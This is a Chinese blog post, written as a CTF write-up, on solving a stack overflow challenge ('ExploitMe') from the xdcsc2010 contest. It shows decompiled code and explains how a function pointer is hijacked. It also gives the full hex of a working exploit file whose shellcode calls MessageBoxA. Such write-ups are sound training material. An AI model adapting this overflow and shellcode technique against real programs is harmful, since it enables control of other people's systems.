2014-03-17

昨天偶然上了一下xdsec.org,发现上面放了往年的比赛题目,抱着试一试的心态下了xdcsc2010的题目来看看,这是第一个题的笔记。

这是一个溢出题,程序下载ExploitMe,题目要求如下:

抄起IDA,找到关键函数,F5一把,下面是大概的流程

signed int __cdecl sub_401000()
{
  HANDLE v0; // eax@1
  void *v1; // edi@1
  void *v2; // ebp@1
  HANDLE v3; // eax@1
  void *v4; // esi@1
  unsigned int v5; // ebx@2
  HMODULE v6; // esi@3
  signed int v8; // [sp+10h] [bp-318h]@1
  void *hHeap; // [sp+14h] [bp-314h]@1
  HANDLE v10; // [sp+18h] [bp-310h]@1
  DWORD NumberOfBytesRead; // [sp+1Ch] [bp-30Ch]@1
  int (**v12)(); // [sp+20h] [bp-308h]@1
  char v13; // [sp+24h] [bp-304h]@4
  int v14; // [sp+A4h] [bp-284h]@1
  char v15; // [sp+A8h] [bp-280h]@6
  char Buffer; // [sp+128h] [bp-200h]@3

  v8 = 0;
  v12 = &off_4050B4;
  v14 = (int)off_4050B0;
  NumberOfBytesRead = 0;
  v0 = HeapCreate(0, 0x1000u, 0x10000u);
  v1 = v0;
  hHeap = v0;
  v2 = HeapAlloc(v0, 0, 0x200u);
  v3 = CreateFileA("exploit.dat", 0x80000000u, 1u, 0, 4u, 0x80u, 0);
  v4 = v3;
  v10 = v3;
  if ( v3 != (HANDLE)-1 )
  {
    v5 = GetFileSize(v3, 0);
    if ( v5 <= 0x200 )
    {
      ReadFile(v4, &Buffer, v5, &NumberOfBytesRead, 0);
      memcpy(v2, &Buffer, v5);
      memset(&Buffer, 0, 0x200u);
      v6 = LoadLibraryA("user32.dll");
      dword_408510 = (int)GetProcAddress(v6, "MessageBoxW");
      dword_408514 = (int)GetProcAddress(v6, "MessageBoxA");
      if ( v5 <= 0x84 )
        memcpy(&v13, v2, v5);
      HeapFree(hHeap, 1u, v2);
      memset(v2, 0, 0x80u);
      if ( v5 <= 0x84 )
        memcpy(&v15, v2, v5);
      ((void (__thiscall *)(int (***)()))*v12)(&v12);
      (*(void (__thiscall **)(int *))v14)(&v14);
      v1 = hHeap;
      v4 = v10;
      v8 = 1;
    }
  }
  if ( v4 )
    CloseHandle(v4);
  if ( v2 )
    HeapFree(v1, 1u, v2);
  if ( v1 )
    HeapDestroy(v1);
  return v8;
}

程序流程还是比较明了的,先读取exploit.dat里面的数据到stack上面,接着拷到heap,再倒腾回stack,真实蛋疼,之前就受这个影响考虑多了,以为要涉及堆溢出等。主要是要注意到函数末尾的两个call,v12和v14,经过调试可以发现v14里面的数据是我们可以控制的。这里我就犯了一个错误,导致浪费了大量时间。我当时注意到函数中已经得到了MessageBoxA的地址(dword_408514),我就想直接跳过去,但是由于esp在低地址,参数老是构造不好,因为esp那块数据没有办法覆盖。

今天上午才突然开了窍,既然eip都控制了,还有啥干不了的,直接将eip定位到stack上我们能够覆盖到的数据,然后写几句压栈的shellcode,之后跳转到MessageBoxA里面去。最终的exploit.dat如下

00000000h: 7C FC 12 00 51 6A 00 68 C8 FC 12 00 68 D8 FC 12 ; |?.Qj.h赛..h攸.
00000010h: 00 6A 00 B9 14 85 40 00 FF 11 59 C3 00 00 00 00 ; .j.?匑..Y?...
00000020h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000030h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000040h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000050h: 45 78 70 6C 6F 69 74 4D 65 00 00 00 00 00 00 00 ; ExploitMe.......
00000060h: 45 78 70 6C 6F 69 74 20 73 75 63 63 65 73 73 00 ; Exploit success.
00000070h: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ; ................
00000080h: 78 FC 12 00                                     ; x?.

溢出结果



blog comments powered by Disqus